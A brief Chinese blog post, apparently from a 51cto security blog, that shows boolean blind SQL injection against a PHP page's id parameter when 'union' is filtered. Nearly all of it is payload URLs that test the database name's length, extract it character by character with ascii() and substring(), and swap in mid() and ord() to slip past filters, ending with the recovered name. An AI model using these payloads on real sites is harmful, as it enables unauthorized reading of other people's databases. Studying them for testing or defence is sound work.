首页 > 代码库 > 过滤union 进行盲注

过滤union 进行盲注


http://www.x.com/sections_intr.php?id=181 and length((database()))=4


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122   


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),2,1))=122 


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),3,1))=102 


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),4,1))=121 


或者使用   


substring过滤的时候替换

http://www.x.com/sections_intr.php?id=181 and  ascii(mid(database(),1,1)) =122


ascii过滤的时候替换

http://www.x.com/sections_intr.php?id=181 and  ord(mid(database(),1,1))=122





122=z  102=f  121=y


库名:zzfy

ascii码表 http://app.baidu.com/app/enter?appid=218548

本文出自 “0x007” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1599005

过滤union 进行盲注